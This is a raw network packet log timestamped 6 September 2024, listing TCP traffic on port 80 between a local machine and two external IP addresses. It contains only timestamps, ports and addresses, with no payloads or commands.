Sep 6, 2024 08:17:06.601207972 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601217985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601238012 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601239920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601254940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601284981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601316929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601326942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601336956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601347923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601357937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601366043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601378918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601388931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601391077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601402998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601408958 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601432085 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601458073 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601805925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601845980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601861000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601861954 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601877928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601883888 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601891994 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601902962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601903915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601917028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601926088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601927996 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601938009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601955891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601957083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601968050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601975918 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601979017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602003098 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602030039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602030993 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602042913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602057934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602067947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602072001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602086067 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602108002 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602356911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602411032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602421999 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602442026 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602473021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602484941 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602497101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602518082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602521896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602535963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602545023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.602549076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602575064 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.602600098 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.610173941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610217094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610220909 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610228062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610239029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610270977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610282898 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610311985 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610323906 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610361099 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610367060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610394001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610404968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610433102 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610472918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610483885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610493898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610501051 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610507011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610536098 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610558033 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610594034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610605001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610614061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610631943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610640049 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610642910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610652924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610656977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610663891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610675097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610691071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.610718012 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.610722065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610733032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610750914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.610754967 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.610760927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610773087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610780001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.610786915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610799074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610801935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610802889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.610810041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610821962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610829115 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610836983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610860109 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610883951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610894918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610910892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610920906 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610924959 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610933065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610943079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.610949993 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610975981 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.610976934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611016035 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611112118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611121893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611131907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611141920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611152887 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611159086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611165047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611176014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611181974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611186981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611205101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611208916 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611217022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611221075 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611227989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611243010 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611275911 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611354113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611365080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611375093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611385107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611391068 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611402035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611413002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611413956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611423969 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611430883 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611437082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611442089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611447096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611459017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611459017 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611469984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611485004 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611500978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611511946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611512899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611522913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611534119 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611536026 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611546040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611557007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611562014 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611583948 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611592054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611601114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611603022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611613989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611624002 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611624956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611635923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611640930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611646891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611654997 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611659050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611673117 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611701012 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.611736059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611830950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611841917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611851931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611861944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611872911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611875057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611885071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611896038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611903906 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611907005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611918926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611931086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.611932039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611949921 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611964941 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.611972094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611988068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.611998081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612009048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612010002 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612019062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612030029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612035036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612040997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612051964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612062931 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612066984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612076044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612077951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612088919 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612098932 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612123013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612127066 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612139940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612183094 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612274885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612286091 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612294912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612308025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612318993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612322092 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612329960 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612330914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612340927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612353086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612354994 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612364054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612374067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612384081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612394094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612402916 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612407923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612423897 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612438917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612498999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612510920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612520933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612531900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612533092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612544060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612555027 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612555981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612579107 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612602949 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612656116 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612667084 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612675905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612687111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612695932 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612699032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612709999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612720013 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612721920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612734079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612739086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612762928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612770081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612778902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612787962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612788916 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612798929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612809896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612811089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612819910 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612832069 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612842083 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612844944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612854958 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612854958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612865925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.612890005 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.612921953 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613027096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613039017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613049030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613060951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613071918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613076925 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613097906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613110065 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613373995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613420963 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613507032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613516092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613526106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613537073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613544941 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613548040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613559008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613569021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613570929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.613579988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.613606930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627150059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627168894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627180099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627191067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627196074 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627218962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627250910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627259016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627285004 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627294064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627305984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627336979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627366066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627377033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627388954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627399921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627401114 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627438068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627453089 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627470016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627480030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627490044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627501011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627513885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627517939 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627538919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627549887 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627556086 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627561092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627583981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627592087 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627600908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627603054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627614021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627623081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.627624989 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627641916 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.627657890 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629333973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629349947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629360914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629374027 CEST	49737	80	192.168.2.4	147.45.44.104
